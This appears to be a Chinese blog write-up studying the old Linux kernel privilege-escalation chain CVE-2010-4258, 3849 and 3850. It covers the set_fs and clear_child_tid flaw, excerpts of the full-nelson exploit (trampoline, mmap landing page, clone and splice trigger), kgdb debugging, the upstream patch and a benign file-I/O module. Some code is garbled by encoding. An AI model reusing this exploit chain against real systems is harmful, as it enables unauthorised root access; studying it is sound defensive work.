在用户态,可以使用open、close、read、write等库调用对磁盘文件进行操作,但是内核没有这样的函数调用.通过跟踪open等函数执行流程,可以看到最终调用内核的sys_read,sys_write函数,但是这两个函数没有导出符号.不过,有vfs_read,vfs_write函数会调用sys_read,sys_write,而且传入的参数基本上相同,因此,可以通过调用vfs_read等实现对文件的读写.
不过,内核默认给出的文件操作是给用户层使用的,所以默认传入的参数都来自用户层,为了避免用户层修改内核层数据,会对传入的参数检查是否越界到内核地址.
因此,当内核调用这类操作函数的时候,就必须传入用户层的地址.但是内核是不能轻易获得用户层的地址的,所以通过 set_fs(KERNEL_DS) 将当前进程的地址空间上限设为KERNL_DS,就能绕过检查,实现对文件的操作.
file_open,filp_close,vfs_read,vfs_write:
struct file *filp_open(const char *filename, int flags, umode_t mode) ;
int filp_close(struct file *filp, fl_owner_t id) ;
//内核操作的时候,id一般为null.
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos);//读取到buf
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) ;//写入到文件
//pos为文件读写的偏移地址;
其中的buf参数表明是指向的用户空间,但是我们在内核调用的时候,传入的buf是在内核空间,因此检查参数的时候就会出错,导致我们不能通过内核空间直接传数据到文件里.
为了解决这个问题,我们可以通过set_fs函数解除这个束缚.
typedef struct {//arch/x86/include/asm/processor.h
unsigned long seg;
} mm_segment_t;
static inline void set_fs(mm_segment_t fs){//
current_thread_info()->addr_limit = fs;
}
而fs只有两个值:KERNEL_DS,USER_DS(对于x86系统 KERNEL_DS=0xFFFFFFFF USER_DS=0xC0000000)
一个简单的示例(完整代码见最尾):
fp = filp_open("/home/victorv/t.txt", O_RDWR | O_CREAT, 0644);
cur_mm_seg = get_fs();//保存当前标志
set_fs(KERNEL_DS);//修改标志只对内核检查,
vfs_write(fp, wbuf, sizeof(wbuf), &fpos);
fpos = 0;
vfs_read(fp, rbuf, sizeof(rbuf), &fpos);
set_fs(cur_mm_seg);`
Nelson Elhage发现了一个内核设计上的漏洞,通过利用这个漏洞可以将一些以前只能dos的漏洞变成可以权限提升的漏洞。线程退出的时候,如果设置了”CLONE_CHILD_CLEARTID”标志,会对线程的clear_child_tid 置零,置零前会 检查指针地址是否越界到内核空间 .
这个过程本身没什么问题,问题在于,当出现内核OOPS的时候,会执行进程退出操作,又由于大多数的OOPS都伴有set_fs(KERNEL_DS),使得退出流程前并没有及时恢复成USER_DS,从而绕过越界检查,实现对任意地址置零.
如果绕过检查,置零了内核某函数指针的高位,使之指向用户空间,再调用了该函数,就能劫持内核流程到用户空间.
OOPs:当内核检测到问题时,它会打印一个oops消息然后杀死全部相关进程。当oops非常严重,内核决定直接结束系统时,就叫panic.
task_struct *copy_process(...){
...
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
}
如果设置了CLONE_CHILD_CLEARTID标志,就会将child_tidptr赋值给clear_child_tid,而child_tidptr来自用户空间,可以受用户控制,意味着我们可以指向内核地址.
下面这个是clone的函数原型,ctid就是child_tidptr指针
int clone(int (*fn)(void *), void *child_stack,
int flags, void *arg, ...
/* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );
CLONE_CHILD_CLEARTID (since Linux 2.5.49)
在线程退出的时候清除子线程的ctid执行的地址,并唤醒该地址的futex.
NORET_TYPE void do_exit(long code){
exit_mm(tsk);
}
static void exit_mm(struct task_struct * tsk){
struct mm_struct *mm = tsk->mm;
struct core_state *core_state;
mm_release(tsk, mm);
}
void mm_release(struct task_struct *tsk, struct mm_struct *mm){
if (tsk->clear_child_tid) {
if (!(tsk->flags & PF_SIGNALED) &&atomic_read(&mm->mm_users) > 1) {
put_user(0, tsk->clear_child_tid); <<-------------------------
sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1,NULL, NULL, 0);
}
tsk->clear_child_tid = NULL;
}
}
其中, put_user(x,ptr) 函数将ptr指向的地址修改为x.即对”clear_child_tid”指向的内存置零
189 #define put_user(x,p)
190 ({
191 might_fault();
19* __put_user_check(x,p);
193 })
164 #define __put_user_check(x,p)
165 ({ /
166 unsigned long __limit = current_thread_info()->addr_limit - 1; /
167 register const typeof(*(p)) __r*asm("r*) = (x); /
168 register const typeof(*(p)) __user *__p asm("r0") = (p);/
169 register unsigned long __l asm("r1") = __limit; /
170 register int __e asm("r0"); /
171 switch (sizeof(*(__p))) { /
17* case 1: /
173 __put_user_x(__r* __p, __e, __l, 1); /
174 break; /
175 case * /
176 __put_user_x(__r* __p, __e, __l, *; /
177 break; /
178 case 4: /
179 __put_user_x(__r* __p, __e, __l, 4); /
180 break; /
181 case 8: /
18* __put_user_x(__r* __p, __e, __l, 8); /
183 break; /
184 default: __e = __put_user_bad(); break; /
185 } /
186 __e; /
187 }
__put_user_check的功能是根据ptr的类型大小,利用__put_user_x宏将x拷贝1,2,4,8个字节到ptr所指向的内存
175 #define __put_user_x(size, x, ptr, __ret_pu) /
176 asm volatile("call __put_user_" #size : "=a" (__ret_pu) /
177 : "" ((typeof(*(ptr)))(x)), "c" (ptr) : "ebx")
__put_user_x完成两件事,将eax填充为x,将ecx填充为ptr,因为clear_child_tid是int类型,所以这里会调用 __put_user_4
ENTRY(__put_user_4)
ENTER
mov TI_addr_limit(%_ASM_BX),%_ASM_BX//TI_addr_limit得到当前进程的地址空间上限放在ebx
sub $3,%_ASM_BX
cmp %_ASM_BX,%_ASM_CX //比较要访问的地址是否高于内核地址
jae bad_put_user //如果超过就不拷贝.
3: movl %eax,(%_ASM_CX)//将ptr指向的地址置零
xor %eax,%eax
EXIT
ENDPROC(__put_user_4)
通过分析上述代码,可以得出这样的结论:设置了CLONE_CHILD_CLEARTID标志的进程(线程)退出的时候,会对”child_tidptr”指向的地址执行置零操作,且地址由我们控制.
int do_page_fault(struct pt_regs *regs, unsigned long address,
unsigned int write_access, unsigned int trapno)
{
// ......
die("Oops", regs, (write_access << 15) | trapno, address);
do_exit(SIGKILL); <<-------------------
}
do_page_fault –> do_exit –> exit_mm –> mm_release –> put_user
因此,找一个执行了set_fs(KERNEL_DS)的漏洞,就可以实现内核任意地址置零操作.
在CVE-2010-3849漏洞里,msg->msg_name的值可以由用户自由控制,而econnet_sendmsg函数会调用这个指针,如果把该指针设为NULL,就会触发OOPS
1094 ssize_t sock_no_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){
1104 msg.msg_name = NULL;
...
1115 old_fs = get_fs();
1116 set_fs(KERNEL_DS);
1117 res = sock_sendmsg(sock, &msg, size);
//此处的sock_sendmsg会被定向到econet_sendmsg
1118 set_fs(old_fs);
1120 }
500 int sock_sendmsg(struct socket *sock, struct msghdr *msg, int size){
sock->ops->sendmsg(sock, msg, size, &scm);
//关系:sock->ops = &econet_ops
//关系:econet_ops->sendmsg = &econnet_sendmsg
}
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
...
eb->cookie = saddr->cookie; <<-----------------------
//如果saddr是NULL,就会造成违例访问
}
追溯一下触发异常的流程如下图(不同版本的内核可能会多一个__sock_sendmsg函数,无大碍):
结合两个漏洞,利用CVE-2010-3849触发oops,再利用CVE-2010-4258实现对内核函数地址的置零,从而控制内核函数.
748 static const struct proto_ops econet_ops = {
749 .family = PF_ECONET,
750 .owner = THIS_MODULE,
751 .release = econet_release,
752 .bind = econet_bind,
753 .connect = sock_no_connect,
754 .socketpair = sock_no_socketpair,
755 .accept = sock_no_accept,
756 .getname = econet_getname,
757 .poll = datagram_poll,
758 .ioctl = econet_ioctl, //待置零的内核函数
759 .listen = sock_no_listen,
760 .shutdown = sock_no_shutdown,
761 .setsockopt = sock_no_setsockopt,
762 .getsockopt = sock_no_getsockopt,
763 .sendmsg = econet_sendmsg, //CVE-2010-3849漏洞触发函数
764 .recvmsg = econet_recvmsg,
765 .mmap = sock_no_mmap,
766 .sendpage = sock_no_sendpage,
767 };
然而,在配置econet的时候,需要设置econet的地址
ioctl(econet_socket, SIOCSIFADDR, 픦);
而”SIOCSIFADDR”是个特权操作,为了安全考虑,只接收AF_INET地址,所以我们的econet就不能设置.为了实现地址设置,需要用到CVE-2010-3850
CVE-2010-3850:ec_dev_ioctl函数在内核版本 2.6.36 前,不需要CAP_NET_ADMIN权限就能允许普通用户绕过权限限制,实现通过ioctl的SIOCSIFADDR来设置econet 地址.
获取函数
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
填充空间
void __attribute__((regparm(3)))
trampoline(){
#ifdef __x86_64__//在64位的内核中,编译的payload和RIP相关联的,所以不能直接copy到shellcode里.
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif
}
SHIFT=8;//8 bits
landing = econet_ioctl << SHIFT >> SHIFT;//清除最高1字节
mmap((void *)(landing & ~0xfff), 2*4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);//申请该区域空间
memcpy((void *)landing, &trampoline, 1024);//填充payload
触发oops
OFFSET=1;
int fildes[4];
pipe(fildes);//创建管道
fildes[3]=open("/dev/zero", O_RDONLY);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
target = econet_ops + 10 * sizeof(void *) - OFFSET;//计算偏移位置,通过前面的econet_ops结构计算
newstack = malloc(65536);//创建线程栈
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);//设置标志,开启线程
int trigger(int * fildes){
int ret;
struct ifreq ifr;
memset(픦, 0, sizeof(ifr));//
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, 픦);//设定econet地址
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);//连接无限的zero到socket,使得msg->msg_name=null
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
//至此就已经触发漏洞了,这个退出代码不会被执行
exit(0);
}
splice() 在这里就相当于把/dev/zero通过管道与econet连接起来.
/dev/zero 是一个特殊的文件,当你读它的时候,它会提供无限的空字符(NULL, ASCII NUL, 0x00)。
ioctl ( fildes[2] , 0 , NULL );
环境:ubuntu 10.04,内核:2.6.32
econet_sendmsg
在被调试机机
$ cat /sys/module/econet/sections/.text
0xf806a000
如果没有这个模块,就手动加载
调试机加载符号文件
$ add-symbol-file econet.ko 0xf806a000
查看econet_create函数
$ disassmble econet_create
可以看到econet_ops的地址是0xf806b380
查看一下结构的内容:
对比exploit的get_kernel_symbol函数得到的结果:
地址正确
运行exploit,断在econet_sendmsg,继续执行出现非法读取:
这里有个bug,就是在开启kgdb调试的时候,它无法完成正确的处理,导致一直在重复do_page_default函数,然后没办法结束线程.
为了查看调试结果,我在mm_release函数里添加了个判断语句:
if(tsk->clear_child_tid > USER_DS)
printk("kernel_reset:%p",(int)tsk->clear_child_tid);
查看printk的输出:
成功提权结果
针对4258,在mm_release里添加对tsk->clear_child_tid > USER_DS的判断,如果成立就直接返回,或者在do_exit里添加set_fs(USER_DS)
4528 patch :
diff --git a/kernel/exit.c b/kernel/exit.c
index b64937a..69f4445 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -907,6 +907,15 @@ NORET_TYPE void do_exit(long code)
if (unlikely(!tsk->pid))
panic("Attempted to kill the idle task!");
+ /*
+ * If do_exit is called because this processes oopsed, it's possible
+ * that get_fs() was left as KERNEL_DS, so reset it to USER_DS before
+ * continuing. Amongst other possible reasons, this is to prevent
+ * mm_release()->clear_child_tid() from writing to a user-controlled
+ * kernel address.
+ */
+ set_fs(USER_DS);
+
tracehook_report_exit(&code);
/*
官方的做法是恢复界限,避免多余的检查
#总结
虽然这是个很老的漏洞,但是它结合其它漏洞的联合利用的方法,以及对一个漏洞的新开发值得好好学习,也让我对linux的各种处理机制有了更多了解,还学习了如何在内核层操作文件的方法,受益匪浅.
#疑问
在调试的时候,使用kgdb会造成不停do_page_default操作,从而无法执行提权
不能使用kgdb调试的问题我也费了好久才发现,本来以为是内核问题,试了好几个内核,后来无意间发现我没有开启kgdb的时候可以成功,我才知道是kgdb影响了调试,希望以后能够获得解答.
简单的文件读写操作
#include <linux/init.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <asm/uaccess.h>
#define SLAM_FILE_PATH "/home/victorv/slam.txt"
static char wbuf[] = "Hello slam-victorv";
static char rbuf[128];
static int vfs_operate_init(void)
{
struct file * fp;
mm_segment_t cur_mm_seg;
loff_t fpos = 0;
printk("<victorv>in %s!/n",__func__);
fp = filp_open(SLAM_FILE_PATH, O_RDWR | O_CREAT, 0644);
if (IS_ERR(fp)) {
printk("<victorv>filp_open error/n");
return -1;
}
cur_mm_seg = get_fs();
set_fs(KERNEL_DS);
vfs_write(fp, wbuf, sizeof(wbuf), &fpos);
fpos = 0;
vfs_read(fp, rbuf, sizeof(rbuf), &fpos);
printk("<victorv>read content: %s/n", rbuf);
set_fs(cur_mm_seg);
filp_close(fp, NULL);
return 0;
}
static void vfs_operate_exit(void)
{
printk("Bye %s!/n", __func__);
}
module_init(vfs_operate_init);
module_exit(vfs_operate_exit);
MODULE_LICENSE("GPL");
reference:
相关源码引用地址
vfs_read
KERNEL_DS
exploit:full-nelson.c
kernel-exploit
cve-2010-3850
分析参考